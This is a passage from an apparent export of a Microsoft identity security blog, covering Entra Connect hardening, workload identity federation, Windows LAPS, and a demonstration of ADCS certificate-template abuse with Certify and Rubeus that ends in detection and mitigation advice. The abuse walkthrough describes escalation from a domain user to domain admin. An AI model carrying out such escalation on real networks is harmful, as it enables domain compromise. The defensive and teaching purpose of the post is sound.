resources.\nThis tactic could also be used in scenarios with App Registrations that leverage certificates or clients secrets where adversaries don’t have access to the credentials but get possession of the access token due to exposure in cleartext such as in log files or decrypted TLS traffic.\nStealing and replaying workload identity access tokens # To demonstrate a scenario to steal and replay an access token of a workload identity, I prepared a demo scenario with a GitHub action that acquires access tokens for the Microsoft Graph API and the Azure Resource Manager API. The pipeline leverages federated credentials (also referred to as workload identity federation).\n","title":"Have you heard of workload identity access token replay?","type":"posts"},{"content":"Microsoft Entra Connect Sync (aka Azure AD Connect) allows establishing hybrid identity scenarios by interconnecting on-premises Active Directory and Entra ID (aka Azure AD) and leveraging synchronisation features in both directions. As you might already know, this brings potential for abuse of the assigned permissions to the involved service accounts and permissions of this service.\nOn the internet are already some posts with subset of this information but I wanted to provide an actionable post with individual measures to implement. Of course should we do MFA for all admins and AD tiering but some of those steps involve more complex measures to implement and I will try to provide some individual building blocks you can use to harden the configuration of your Entra Connect service accounts.\nUnderstanding the scope # To understand the scope of hardening we need to have an overview of the inner workings of that service. Entra Connect uses three different kind of service accounts for the different systems:\nEntra: For the connected Entra tenant, per each Entra Connect installation a cloud only account is created by the wizard: Sync_EIDC02_bba3d8efb72a@nicoladev.onmicrosoft.com Active Directory: The active directory account is used to connect a forest and allows both reading and depending on the leveraged synchronisation options also modifying the objects for password reset or group write-back scenarios Synchronisation Service: Under this principal, the actual Entra Connect service is running on the server Each kind of service account has various interesting privileges that can be abused by attackers. While the security of the server running Entra connect is also an important aspect I want to focus more on the leveraged user accounts as they are subject to multiple well-known attack scenarios.\nHardening measures for the Entra account # The following measures are scoped to Entra ID features and capabilities.\nConditional Access Policy # Although we need to exclude the Entra Connect cloud account from conditional access policies requiring MFA or a specific device state, we can still leverage Conditional Access to only allow sign-ins from defined locations. With that in mind, we can restrict the sign-in only from our local server breakout IP defined as a trusted or named location.\nTracking AuditLogs # The AuditLogs table of Entra ID contain all the activities that involve modifications of directory objects. This means we can both audit, track and potentially alert on changes targeting the Entra Connect cloud accounts:\nAdditionally we can also retrieve events that originated from the Entra cloud accounts:\nHardening measures for the AD account # For the on-premises account used to connect to the AD forest, we can apply the following hardening measures.\nPermission Scope # When you connect an AD forest and let the synchronisation wizard create the account, the permissions are scoped by default to the forest level, including all child domains. This is usually way too permissive as only a subset of AD accounts needs to (or should) be synchronised.\nEspecially from privileged accounts, we definitely want to remove the permissions of the Entra connect AD account to replicate changes or perform password resets.\nWe can check and remove the assigned permissions on the domain level:\nWith the PowerShell module that ships with each Entra connect installation, we can re-add the proper permissions based on an organisational unit level, e.g. if you have a parent OU that contains all the standard user accounts:\nProtected Users # The AD built-in “Protected Users” group includes a couple of nice features that help us to secure the Entra ID Connect AD account, as the following features will be unavailable:\nAuthenticate with NTLM authentication. Use DES or RC4 encryption types in Kerberos pre-authentication. Be delegated with unconstrained or constrained delegation. Renew the Kerberos TGTs beyond the initial four-hour lifetime. As this account is only used to authenticate against AD and does not run an actual service or has delegations it can be added to the protected users group without breaking anything:\nIf your account was created prior Windows Server 2012 times it might be a good idea to recreate the account (with granular permissions) or at least reset the password to ensure it has an AES key available.\nMicrosoft Defender for Identity # Microsoft Defender for Identity can help to detect abnormal activity in your Active Directory. Especially the detections for DCSync attacks can help if someone would attempt to impersonate the account from another system.\nHardening measures for the Synchronisation Service # Service Account # When using the express settings, by default a virtual service account is created, with the password never expires flag. A group managed service account introduces additional security as AD rotates the password. Dirteam provides an excellent article for that: Using Azure AD Connect with a gMSA — The things that are better left unspoken (dirteam.com).\nHard- and Soft-Matching features in Entra # Identities in Entra ID can be matched by Entra Connect to match existing accounts in the following ways:\nHard Matching matches objects on the source anchor attribute of the object in AD to the ImmutableID attribute of the object in Azure AD Soft Matching matches objects, based on the userPrincipalName attribute and the primary email address (denoted with SMTP: in the proxyAddresses attribute). While these features might come in handy for migrations they impose a serious attack surface for account takeover scenarios and should be disabled during regular Entra Connect operations.\nTo retrieve the state for both hard and soft matching, you can run the following Microsoft Graph commands:\nTo disable both Hard- and Soft-Matching you can run the following Microsoft Graph PowerShell command:\nConclusion # Microsoft Entra Connect sync is a lucrative target for attackers to perform identity takeover in on-premises AD on Entra ID. I hope this article showed you some steps to plan and implement hardening if not already done.\nBy limiting the default permissions and matching features you can reduce the attack surface a lot with minimal effort and side-effects and can combine these measures with other aspects described.\nReferences # Protected Users Security Group | Microsoft Learn Securing Microsoft Azure AD Connect (trimarcsecurity.com) Secure user-based service accounts in Active Directory — Microsoft Entra | Microsoft Learn Obtaining Domain Admin from Azure AD by abusing Cloud Kerberos Trust — dirkjanm.io Targeting MSOL Accounts to Compromise Internal Networks Tevora TODO: Disable Soft Matching in Azure AD Connect — The things that are better left unspoken (dirteam.com) Azure AD built-in roles — Microsoft Entra | Microsoft Learn By Nicola on September 24, 2023.\n","date":"24 September 2023","externalUrl":null,"permalink":"/entra-connect-hardening/","section":"Posts","summary":"Microsoft Entra Connect Sync (aka Azure AD Connect) allows establishing hybrid identity scenarios by interconnecting on-premises Active Directory and Entra ID (aka Azure AD) and leveraging synchronisation features in both directions. As you might already know, this brings potential for abuse of the assigned permissions to the involved service accounts and permissions of this service.\nOn the internet are already some posts with subset of this information but I wanted to provide an actionable post with individual measures to implement. Of course should we do MFA for all admins and AD tiering but some of those steps involve more complex measures to implement and I will try to provide some individual building blocks you can use to harden the configuration of your Entra Connect service accounts.\nUnderstanding the scope # To understand the scope of hardening we need to have an overview of the inner workings of that service. Entra Connect uses three different kind of service accounts for the different systems:\nEntra: For the connected Entra tenant, per each Entra Connect installation a cloud only account is created by the wizard: Sync_EIDC02_bba3d8efb72a@nicoladev.onmicrosoft.com Active Directory: The active directory account is used to connect a forest and allows both reading and depending on the leveraged synchronisation options also modifying the objects for password reset or group write-back scenarios Synchronisation Service: Under this principal, the actual Entra Connect service is running on the server Each kind of service account has various interesting privileges that can be abused by attackers. While the security of the server running Entra connect is also an important aspect I want to focus more on the leveraged user accounts as they are subject to multiple well-known attack scenarios.\n","title":"Microsoft Entra Connect Sync Hardening","type":"posts"},{"content":"Microsoft Entra Workload Identity Federation is a hidden gem when dealing with app registrations and service principals because it will significantly improve the security posture of your workload identities. While I already blogged about the more technical and implementation specific details in my GitHub Actions with Entra Workload Identity Federation post, I want to highlight the benefits and scenarios where you can use Workload Identity Federation to access Entra ID protected resources.\nQuick recap on Workload Identities # Should you read this post and wonder what a Workload Identity is, here a quick recap:\nA workload identity (can be either a managed identity or service principal) is used to access resources protected by Entra ID (Azure AD) from a service or automation A service principal is an instance of an app registration. To leverage a service principal authentication with either a client secret, certificate, or federated credential is required. A managed identity is a Microsoft managed identity of a resource such as a Logic App, Automation Account or VM. Microsoft manages the credentials of those managed identities. This allows for secure access as the credentials are not exposed to other services. Managed Identity is the recommended type for workload identities for workloads that live in the Microsoft Azure ecosystem. For services and automations outside of Azure, service principals (app registrations) are the only option. The usage and credential configuration is unfortunately not a simple process.\nWhy should I use Workload Identity Federation? # Credential exposure of workload identities can lead to serious compromise depending on the configured permissions.\nAs Salesforce \\[1\\] nicely concludes: “One of the most common breaches of data security comes from sensitive data stored in the code you develop”.\nCredential exposure can occur in different ways. One of the simplest examples might be the following:\nOther examples are client secrets or certificates stored in plain text, optionally with wrong access control list configurations or including such things in version control or (accidentally) leaking this information.\nRegularly we use the following client credentials on workload identities:\nClient Secret Certificate Both credential types are subject to exposure, although a certificate provides additional security benefits when stored securely. Also for client secrets, the procedure can be improved by storing it in a secure location such as Azure Key Vault (the key vault could then also be used to exchange the information instead of Teams chat 🙃).\nFor both credential types, renewal is required as they have an expiration date. Furthermore, the creator of the credentials has potential knowledge of them which makes also rotation an important need.\nThe better alternative — Workload Identity Federation # Workload identity federation is better in the above mentioned aspects, because it eliminates long-lived credentials or secrets and the exchange of such information.\nWhat does “Workload identity Federation” now mean? Workload identity Federation is a new type of authentication that can be used to acquire the identity of a workload identity.\nFederation (in a simplified manner) means, that an external Identity Provider (IdP) issues a token, that is valid for the authentication. A trust to the external IdP is configured, directly on the app registration.\nInstead of a fixed set of credentials (compared to client secret or a certificate) the federation serves as a trust anchor and credential exposure is dramatically reduced as only short-lived tokens are exchanged.\nOpen ID Connect is used as authentication protocol and tokens are signed by the external IdP.\nAn example for a GitLab pipeline accessing Azure resource such as an app server for a deployment might look like this:\nThe admin configures the app registration and registers the information for the workload identity federation in Entra ID During pipeline execution, the pipeline will acquire an access token (JWT) from the GitLab IdP (your GitLab server) The pipeline performs authentication agains Entra ID. Entra ID verifies the issuer and other information of the token with the configured federation options on the workload identity If the token matches with the configuration, Entra ID issues an access token. The pipeline successfully acquired the identity of the workload identity The pipeline can now access protected resources such as the Azure app service When can I use Workload Identity Federation? # Which scenarios support “Workload identity Federation”?\nWorkloads running on any Kubernetes cluster (Azure Kubernetes Service (AKS), Amazon Web Services EKS, Google Kubernetes Engine (GKE), or on-premises) GitHub Actions (CI / CD Pipelines) \\[2\\] GitLab (CI / CD Pipelines) \\[3\\] Workloads / VMs Google Cloud Workloads / VMs running in Amazon Web Services (AWS) Workloads supporting SPIFFE and SPIRE \\[4\\]: that’s basically an open standard for authentication scenarios between cloud services Recommended Actions # Some pro tipps to round up this post:\nUse managed identities whenever possible When using app registrations make sure to use Federated credentials or a certificate (client secrets as a last resort) Review existing app registrations and check whether you could switch to workload identity federation Consider the security of the different credential types and include this as a quality aspect when developing or integration new applications / Cheers and happy workload identity federation!\nReferences and further reading # Prevent Credential Exposure in Code Unit | Salesforce Trailhead Configuring OpenID Connect in Azure — GitHub Docs Configure OpenID Connect in Azure to retrieve temporary credentials | GitLab SPIFFE — Secure Production Identity Framework for Everyone Workload identity federation — Microsoft Entra | Microsoft Learn Azure AD workload identity federation with SPIFFE and SPIRE | Identity in the cloud (identitydigest.com) Workload identity federation for app considerations — Microsoft Entra | Microsoft Learn By Nicola on September 7, 2023.\n","date":"7 September 2023","externalUrl":null,"permalink":"/why-you-should-use-entra-workload-identity-federation/","section":"Posts","summary":"Microsoft Entra Workload Identity Federation is a hidden gem when dealing with app registrations and service principals because it will significantly improve the security posture of your workload identities. While I already blogged about the more technical and implementation specific details in my GitHub Actions with Entra Workload Identity Federation post, I want to highlight the benefits and scenarios where you can use Workload Identity Federation to access Entra ID protected resources.\nQuick recap on Workload Identities # Should you read this post and wonder what a Workload Identity is, here a quick recap:\nA workload identity (can be either a managed identity or service principal) is used to access resources protected by Entra ID (Azure AD) from a service or automation A service principal is an instance of an app registration. To leverage a service principal authentication with either a client secret, certificate, or federated credential is required. A managed identity is a Microsoft managed identity of a resource such as a Logic App, Automation Account or VM. Microsoft manages the credentials of those managed identities. This allows for secure access as the credentials are not exposed to other services. Managed Identity is the recommended type for workload identities for workloads that live in the Microsoft Azure ecosystem. For services and automations outside of Azure, service principals (app registrations) are the only option. The usage and credential configuration is unfortunately not a simple process.\n","title":"Why you should use Entra Workload Identity Federation","type":"posts"},{"content":"","date":"10 May 2023","externalUrl":null,"permalink":"/tags/laps/","section":"Tags","summary":"","title":"LAPS","type":"tags"},{"content":"Did you know that for the new Windows LAPS Azure AD is also maintaining the password history? The built in PowerShell commandlet relies on the Microsoft Graph PowerShell SDK and within this post I want to show you how to work with the Get-LapsAADPassword cmdlet.\nKudos to Niklas Tinner as he brought this to my attention while working together.\nWhere is this command originating from? # The Get-LapsAADPassword cmdlet is part of the LAPS PowerShell module that was baked into the Windows Operating system with the April 2023 quality updates.\nThe module is maintained as part of the Operating System and builds the Interface to interact with Windows LAPS locally on a device. The module binaries reside within C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\LAPS and consist of DLLs and PowerShell files:\nLet’s retrieve some passwords # Before we can start retrieving passwords we need to make sure, that we have the appropriate Microsoft Graph PowerShell SDK module present.\nWe can easily check this with the following PowerShell command:\nGet-Module -Name Microsoft.Graph -ListAvailable If you do not retrieve any output, you need to install the module with local Administrator privileges with:\nInstall-Module -Name Microsoft.Graph.Authentication Afterwards, we need to connect to Microsoft Graph (requesting an access token for the API) with the right OAuth 2.0 scopes to ensure we have access to the LAPS passwords stored within Azure AD. To do so, we can use the following command:\nConnect-MgGraph -Scopes \u0026#34;DeviceLocalCredential.Read.All\u0026#34; -ContextScope Process Afterwards we are asked to confirm the consent to the OAuth 2.0 scope (this requires the Azure AD application administrator role or might trigger an app consent flow):\nTo query the clear text passwords for a device, you can call the following commandlet:\nGet-LapsAADPassword -DeviceIds \u0026#39;NT-699549436914\u0026#39; -IncludePasswords -AsPlainText The -DeviceIds parameter takes both device display names and Azure AD device Ids. But be careful when you have duplicate device names in your Azure AD tenant.\nBy adding the -IncludeHistory Parameter we also receive the password history for the specified device:\nSummary # Hoping that with this quick article you learn somethin new about Windows LAPS and the usage of Microsoft Graph PowerShell under the hood let’s close this article. Microsoft provies additional documentation for LAPS related commandlet within their docs pages.\nHappy password (history) retrieval!\nP.S.: If you haven’t read the following posts about LAPS you’re definitely missing out:\nLet’s have a tête-à-tête with the new Windows LAPS for Azure AD joined devices | Nicola Suter (nicolonsky.ch) Windows LAPS: the comprehensive guide (oceanleaf.ch) By Nicola on May 10, 2023.\n","date":"10 May 2023","externalUrl":null,"permalink":"/retrieving-windows-laps-azure-ad-passwords-with-powershell/","section":"Posts","summary":"Did you know that for the new Windows LAPS Azure AD is also maintaining the password history? The built in PowerShell commandlet relies on the Microsoft Graph PowerShell SDK and within this post I want to show you how to work with the Get-LapsAADPassword cmdlet.\nKudos to Niklas Tinner as he brought this to my attention while working together.\nWhere is this command originating from? # The Get-LapsAADPassword cmdlet is part of the LAPS PowerShell module that was baked into the Windows Operating system with the April 2023 quality updates.\nThe module is maintained as part of the Operating System and builds the Interface to interact with Windows LAPS locally on a device. The module binaries reside within C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\LAPS and consist of DLLs and PowerShell files:\nLet’s retrieve some passwords # Before we can start retrieving passwords we need to make sure, that we have the appropriate Microsoft Graph PowerShell SDK module present.\nWe can easily check this with the following PowerShell command:\nGet-Module -Name Microsoft.Graph -ListAvailable If you do not retrieve any output, you need to install the module with local Administrator privileges with:\n","title":"Retrieving Windows LAPS Azure AD Passwords with PowerShell","type":"posts"},{"content":"","date":"10 May 2023","externalUrl":null,"permalink":"/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"Loooooong awaited and it\u0026rsquo;s finally here - the new Windows LAPS. With the previous announcement(s) of the integration into the native Windows operating system and support for Azure AD join this was a long-awaited feature. With the recent patch Tuesday the binaries were backed and delivered natively into the current Windows client and Server OS and today they also launched the Azure AD backend that can serve as the backup source for passwords. Within this post, I want to give you a quick impression of what the deployment experience currently looks like and where I needed some adjustments to get the expected result.\nSetup # Prerequisites # To deploy LAPS with Azure AD password backup and Intune you need licenses/access to those tools and Windows 10/11 devices with the latest April patches installed. A full list of prerequisites is provided by Microsoft here.\nAzure AD enablement # Unlike the on-premises AD LAPS enablement we do not need any schema extensions and can simply enable the following toggle within our Azure AD device settings:\nLAPS configuration considerations # The configuration of the LAPS settings can be done with Intune. The settings are available under Endpoint Security \u0026gt; Account protection. When you configure LAPS on Azure AD joined devices we do not have access to all of the settings or better said not all settings are supported as some of them were designed especially for on-premises Active Directory.\nAn important aspect to understand, similar to the \u0026lsquo;old\u0026rsquo; on-premises laps that came with a separate agent, is the fact, that LAPS will not modify or create any accounts nor does it enable any disabled accounts such as the built-in administrator account that is disabled by default.\nMicrosoft also shares some opinions when it comes to the built-in administrator account:\n\u0026ldquo;The built-in administrator account can\u0026rsquo;t be locked out, regardless of how many times an attacker might use a bad password. This capability makes the administrator account a popular target for brute-force attacks that attempt to guess passwords\u0026hellip;.\u0026rdquo; Microsoft - Administrator account status.\nAnd no - renaming the built-in administrator account does not improve or change the above-stated situation (and I do not believe in this measure as the account can still be easily enumerated due to its well-known SID).\nThis means when deploying LAPS on Azure AD Joined devices with Intune we can either:\nEnable and use the default built-in Administrator account That might be suitable for a quick test drive in your lab, but for a production deployment I would go for a dedicated account due to the reasons described above Creating and using a dedicated local Administrator account for LAPS and leaving the built-in Administrator account untouched But just for completeness, I will provide you with an example for both scenarios.\nA few settings to highlight are:\nBackupDirectory which allows the Password Backup to Azure AD PostAuthenticationActions where we can define an action such as forced logoff or reboot after a specific time when the LAPS-managed account signs in to Windows PostAuthenticationResetDelay controls the above scheduling for the action For the rest and more details of the settings, I will not go into detail, as Microsoft has documented them pretty well.\nIntune Profile # To configure the settings create a new Account Protection Profile under endpoint security and select Local admin password solution (Windows LAPS) as the profile type:\nConfigure the settings according to your needs, I just went with most of the defaults. If you do not want to use a custom admin account you can simply omit the Administrator account name setting by leaving it not configured.\nAfterward, I assigned the policy to a dedicated testing group that contains my test device:\nEnabling Accounts # To deal with account enablement/creation we have multiple options. As I never made good experiences with the Account CSP (and Michael Niehaus as well) I just created two simple PowerShell proactive remediations, one to enable the built-in Administrator account and one to create a new one.\nEnablement of the built-in Administrator account # To avoid any localization issues when it comes to the Administrator account we can use the well-known SID to match the account in both the detection and remediation parts.\nThe remediation script is just a lazy one-liner performing the enablement (that could of course be improved with logging):\nCreation of a dedicated local LAPS Administrator Account # The detection and creation of the dedicated account proactive remediation works similarly, just make sure to align the $username with your LAPS config in Intune.\nThe creation process consists of creating the account with a random password (that will be overwritten by LAPS as soon as the config is applied) and the group membership of the Administrators group.\nSimply create the proactive remediation and make sure to run the scripts in x64 PowerShell environment by enabling the toggle:\nAssign to the same test group where you applied your LAPS settings: LAPS Password Retrieval # Permissions # The LAPS password is stored in Azure Active Directory and can be accessed by the following Azure AD directory roles:\nHelpdesk Administrator Cloud Device Administrator Security Reader Global Reader Intune Administrator Security Administrator Global Administrator For scoped access, granularity can be achieved with Azure AD organizational units.\nAdditionally, the following OAuth Scopes grant read access to metadata such as expiration: DeviceLocalCredential.ReadBasic.All or LAPS password access DeviceLocalCredential.Read.All.\nAAD / Intune retrieval # The password retrieval is similar to the existing BitLocker key management with Intune. A dedicated tab on the respective device shows the LAPS password metadata:\nA click on Show local administrator Password displays then the password details and a button to show or copy the password to the clipboard.\nAutomated retrieval # Retrieval via automation such as PowerShell can be done with the Microsoft Graph API and the following REST endpoint: https://graph.microsoft.com/beta/deviceLocalCredentials/{Azure AD Device ID}.\nTo access the password the ?$select=credentials query string parameter is required to access the base64 encoded password hiding within a nested hash table:\nAuditing # The password retrieval actions are audited within the Azure AD audit logs and can be queried with KQL if you have sentinel or log analytics in place:\nLAPS Windows Event Logs # The LAPS Windows Eventlog Microsoft-Windows-LAPS provides very detailed information about the policy processing and the current setting status of LAPS.\nWhen LAPS did not yet process any new LAPS settings we get the following output:\nOnce the Intune settings get applied, LAPS detects this:\nThe update of the password is also logged:\nLAPS also warns when the managed account is not yet enabled or present on the device (this happened before my remediation script got invoked):\nWhen you use the LAPS managed account, you also find information about the scheduled post authentication action(s):\nFinal words \u0026amp; ressources # Pretty nice that we have now finally access to LAPS on Azure AD Joined devices. The setup- and configuration process went pretty smoothly. Although a production deployment including the appropriate processes such as access to the passwords will probably be a little bit more difficult.\nMore information:\nhttps://learn.microsoft.com/en-us/windows-server/identity/laps/laps-management-event-log\nhttps://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview\nhttps://techcommunity.microsoft.com/t5/windows-it-pro-blog/by-popular-demand-windows-laps-available-now/ba-p/3788747\nApendix OMA-URI\u0026rsquo;s # Before the endpoint security settings became available I created a custom OMA-URI profile with the following settings:\nName Description OMA-URI Data type Value BackupDirectory Configure which directory the local admin account password is backed up to. ./Device/Vendor/MSFT/LAPS/Policies/BackupDirectory Integer 1 PasswordAgeDays configure the maximum password age of the managed local administrator account. ./Device/Vendor/MSFT/LAPS/Policies/PasswordAgeDays Integer 7 PasswordComplexity configure password complexity of the managed local administrator account ./Device/Vendor/MSFT/LAPS/Policies/PasswordComplexity Integer 4 PasswordLength configure the length of the password of the managed local administrator account. ./Device/Vendor/MSFT/LAPS/Policies/PasswordLength Integer 16 PostAuthenticationActions specify the actions to take upon expiration of the configured grace period. ./Device/Vendor/MSFT/LAPS/Policies/PostAuthenticationActions Integer 3 PostAuthenticationResetDelay amount of time (in hours) to wait after an authentication before executing the specified post-authentication actions. ./Device/Vendor/MSFT/LAPS/Policies/PostAuthenticationResetDelay Integer 1 AdministratorAccountName configure the name of the managed local administrator account. ./Device/Vendor/MSFT/LAPS/Policies/AdministratorAccountName String clientadmin ","date":"21 April 2023","externalUrl":null,"permalink":"/meeting-windows-laps/","section":"Posts","summary":"Loooooong awaited and it’s finally here - the new Windows LAPS. With the previous announcement(s) of the integration into the native Windows operating system and support for Azure AD join this was a long-awaited feature. With the recent patch Tuesday the binaries were backed and delivered natively into the current Windows client and Server OS and today they also launched the Azure AD backend that can serve as the backup source for passwords. Within this post, I want to give you a quick impression of what the deployment experience currently looks like and where I needed some adjustments to get the expected result.\nSetup # Prerequisites # To deploy LAPS with Azure AD password backup and Intune you need licenses/access to those tools and Windows 10/11 devices with the latest April patches installed. A full list of prerequisites is provided by Microsoft here.\nAzure AD enablement # Unlike the on-premises AD LAPS enablement we do not need any schema extensions and can simply enable the following toggle within our Azure AD device settings:\n","title":"Let's have a tête-à-tête with the new Windows LAPS for Azure AD joined devices","type":"posts"},{"content":"","date":"11 April 2023","externalUrl":null,"permalink":"/tags/adcs/","section":"Tags","summary":"","title":"ADCS","type":"tags"},{"content":"","date":"11 April 2023","externalUrl":null,"permalink":"/tags/mdi/","section":"Tags","summary":"","title":"MDI","type":"tags"},{"content":"Microsoft Defender for Identity (MDI) has announced a new capability back in February to detect suspicious certificate usage for Kerberos authentication. It is already well-known, that Active Directory Certificate Services (ADCS) is a lucrative target for adversaries to achieve persistence in Active Directory as ADCS can be easily misconfigured resulting in an easy way to exploit those misconfigurations. In this post I want to show you how easy those misconfigurations can be abused and how and when such an attempt is detected by Microsoft Defender for Identity new detection capabilities for suspicious certificate usage.\nWhat makes a vulnerable environment # To be vulnerable for the certificate abuse scenario I will demonstrate an environment needs to have the following conditions present:\nADCS Enterprise Certification Authority (CA) CA certificate must be present in NTAuth store (default behaviour when an enterprise ADCS CA is installed) At least one domain controller needs to have a kerberos authentication certificate enrolled At least one vulnerable certificate template that meets one of the following criteria\u0026rsquo;s:\n– “specify subject name in the request” flag enabled AND granting enroll permissions to low privileged principals like domain users or domain computers (or equivalent)\n– grants modify permissions to low privileged principals like domain users or computers (or equivalent) The first three conditions are usually present in a standard Active Directory deployment and provide key functionality for other services. Certificate templates are also a standard thing, but there it really comes down to the (mis)configuration and hardening. Specterops documents those very well and provides tools to check for potential misconfigurations¹.\nFor this post I will use a duplicate of the standard computer certificate template with the following settings:\nExtended Key Usage: Client Authentication Enrolee Supplies Subject Flag Enabled (Supply Subject Name in the request) Domain users have enroll permissions Weaponization # To demonstrate the attack I use the following tools provided by Spectreops on GitHub:\nGhostPack/Certify: Active Directory certificate abuse. (github.com) GhostPack/Rubeus: Trying to tame the three-headed dog. (github.com) Both tools need to be compiled with Visual Studio or can be downloaded from other sources in precompiled formats.\nAs adversary we might not know about the vulnerable certificate templates but because they reside within Active Directory and Authenticated Users have read permissions on all templates by default, we can easily enumerate the vulnerable template(s) with certifiy. For all subsequent steps I use a regular domain user account, that has local admin permissions on a Windows client:\nAfter we have found a vulnerable template, we can depending on the permissions either modify the template to set the ENROLEE_SUPPLIES_SUBJECT flag or directly profit if we have enrollment permissions on the template (that’s what I use for this demo).\nOf course we want to go all in and request a certificate for the built-in Administrator account. We can do so by calling certify with the request option and specifying the subject alternate name:\nThe printed out RSA key pair can the be converted with openssl and exported as a PFX file. Afterwards, with the help of rubeus we can request a kerberos ticket granting ticket (TGT) for the built-in domain admin account:\nWe can then also use this ticket with rubeus to perform actions with the newly gained entity:\nImporting the obtained kerberos ticket Listing the available kerberos tickets I truncated the output but this is the TGT for the Administrator account Enumerating the c$ share of the domain controller Pretty impressive how we elevated that fast from a regular domain user directly to a domain admin. But let’s see what Microsoft Defender for Identity observed during this attack.\nHello from MDI 🚨 # After the Kerberos Ticket acquisition with Rubeus MDI fired up the awaited Suspicious certificate usage over Kerberos protocol (PKINIT) alert! After a short delay the alert got automatically correlated together with the client side events because Defender for Endpoint also noticed all the tools and actions being executed on the client (to allow the execution I enabled troubleshooting mode and disabled real time protection).\nMentionable is also, that MDI includes the certificate based on the thumbprint within the alert details. This information can be used to search for the corresponding certificate request or directly revoking the certificate.\nImportant to understand is, that MDI detected the acquisition of the kerberos ticket, but not the previous steps.\nCan’t we detect this earlier? # Of course it is nice that MDI now detects this behaviour but I could imagine that attackers might first only want to establish persistence and gain a certificate for a privileged account before they continue their attack and take advantage of the gained privileges. In this case MDI would not trigger the “Suspicious certificate usage” or other alerts until the certificate is being used.\nWhen advanced auditing and event forwarding for ADCS enterprise CA is enabled (if not, you should definitely consider this!²), we can already detect issuance of certificates by looking into submitted and issued certificate requests:\nUnfortunately we’re missing some key information when it comes to:\nCertificate Template Name or OID Certificate Template Application Policies Certificate Request Subject Alternate Name Extension Owen Shearing describes a potential solution³ by considering additional security events from domain controllers but these also rely on the event that the certificates will be used for authentication.\nFortunately there is an upcoming enforcement planned by Microsoft, to increase the difficulty for such attacks by using stricter certificate mapping.\nUpcoming Active Directory KDC Changes # Microsoft started hardening of Kerberos Key Distribution Center when it comes to the certificate mapping to Active Directory users. In this demo we saw, that just because of the subject alternate name the certificate was mapped to the builtin Administrator account of the domain. Back in spring 2022 Microsoft announced multiple enforcement steps to increase the security of certificate mapping with KB5014754⁴. The next step takes place in April 2023 that will enforce certificates to have the new OID present and the full enforcement in November 2023 will not allow weak mappings between certificates and user accounts.\nThat is actually a good thing because this behavior change prevents the demonstrated attack!\nWe can already switch to full enforcement mode by manually enforcing the strong mapping by creating the following registry entry:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Kdc StrongCertificateBindingEnforcement: 2 (DWORD) A subsequent attempt to request a kerberos TGT ticket with rubeus fails, as no strong mapping can be performed by our certificate and the user account:\nThe domain controller\u0026rsquo;s system event log also contains the corresponding event from the KDC service:\nSo by setting the value for StrongCertificateBindingEnforcement to 2 we can defend successfully against this type of attack. Although full enforcement might not be possible yet in all environments as there are still some unclear questions when it comes to certificates not enrolled online (e.g. enrolled via SCEP).\nDuring the process of writing this post, Microsoft announced another way to achieve mapping, by using a special SAN URI for this certificates⁵, that would allow again tampering with weak certificate templates as we can supply also malicious SAN URIs when we can control subject alternate names.\n🔑 Take aways and recommendations # Enable appropriate data source for event forwarding to Sentinel to have additional evidence for misuse of certificates: ADCS advanced auditing, and Domain Controller Security Events for kerberos authentication success and failure Regularly check ADCS certificate templates for misconfigurations, e.g. via GhostPack/PSPKIAudit: PowerShell toolkit for AD CS auditing based on the PSPKI toolkit. (github.com) Audit and alert on certificate template changes or configuration changes to ADCS Already consider the enforcement of certificate mapping and the upcoming enforcement Make sure your MDI sensors are in a healthy state and auto update is working to profit from new detection capabilities⁶ Ensure that all systems are onboarded to Defender for Endpoint and sensors reporting properly to detect usage and enumeration of tools to attack ADCS from domain member clients One thing I learned while writing this post was that detecting misuse of certificate template issuance is very hard. As we’re lacking important audit data such as the subject alternate name from ADCS. If you know any way about how to get these please let me know! I already though about trying to get this data with sysmon for the certsrv process on the CA or trough sysmon on the client side but havent had the time to dive further into this.\nReferences and further reading # This post was written based on the following information provided and referenced via superscript:\nSpecterOps provides a really nice guide about the different misconfigurations for ADCS and certificate templates that can be found here: Certified_Pre-Owned.pdf (specterops.io). They also offer a PowerShell toolkit to scan for potential ADCS misconfigurations and vulnerable templates. Kaido Järvemets has covered the whole ADCS event forwarding topic to Sentinel very nicely: Audit Active Directory Certificate Services using Microsoft Sentinel (kaidojarvemets.com), Microsoft Active Directory Certificate Services Event Logs (kaidojarvemets.com) Detecting AD CS subjectAltName (SAN) Abuse Using KQL: Detecting AD CS subjectAltName (SAN) Abuse Using KQL — In.security Certificate-based authentication changes on Windows domain controllers: KB5014754 — Certificate-based authentication changes on Windows domain controllers — Microsoft Support Preview of SAN URI for Certificate Strong Mapping for KB5014754: Preview of SAN URI for Certificate Strong Mapping for KB5014754 — Microsoft Community Hub Microsoft Defender for Identity Release Notes: What’s new — Microsoft Defender for Identity | Microsoft Learn By Nicola on April 11, 2023.\n","date":"11 April 2023","externalUrl":null,"permalink":"/provoking-defender-for-identity-suspicious-certificate-usage-alerts/","section":"Posts","summary":"Microsoft Defender for Identity (MDI) has announced a new capability back in February to detect suspicious certificate usage for Kerberos authentication. It is already well-known, that Active Directory Certificate Services (ADCS) is a lucrative target for adversaries to achieve persistence in Active Directory as ADCS can be easily misconfigured resulting in an easy way to exploit those misconfigurations. In this post I want to show you how easy those misconfigurations can be abused and how and when such an attempt is detected by Microsoft Defender for Identity new detection capabilities for suspicious certificate usage.\nWhat makes a vulnerable environment # To be vulnerable for the certificate abuse scenario I will demonstrate an environment needs to have the following conditions present:\nADCS Enterprise Certification Authority (CA) CA certificate must be present in NTAuth store (default behaviour when an enterprise ADCS CA is installed) At least one domain controller needs to have a kerberos authentication certificate enrolled At least one vulnerable certificate template that meets one of the following criteria’s:\n– “specify subject name in the request” flag enabled AND granting enroll permissions to low privileged principals like domain users or domain computers (or equivalent)\n– grants modify permissions to low privileged principals like domain users or computers (or equivalent) The first three conditions are usually present in a standard Active Directory deployment and provide key functionality for other services. Certificate templates are also a standard thing, but there it really comes down to the (mis)configuration and hardening. Specterops documents those very well and provides tools to check for potential misconfigurations¹.\n","title":"Provoking Defender for Identity suspicious certificate usage alerts","type":"posts"},{"content":"Intune Endpoint Security Configuration Settings have become the way to go for configuring security features on various platforms. What did start with Microsoft Defender for Endpoint settings for Windows clients has evolved to settings for macOS, Windows Servers and is treated like a first class citizen. So it is important to guard those sensitive configurations as they control (and can potentially disable) vital security features on endpoints such as defender tamper 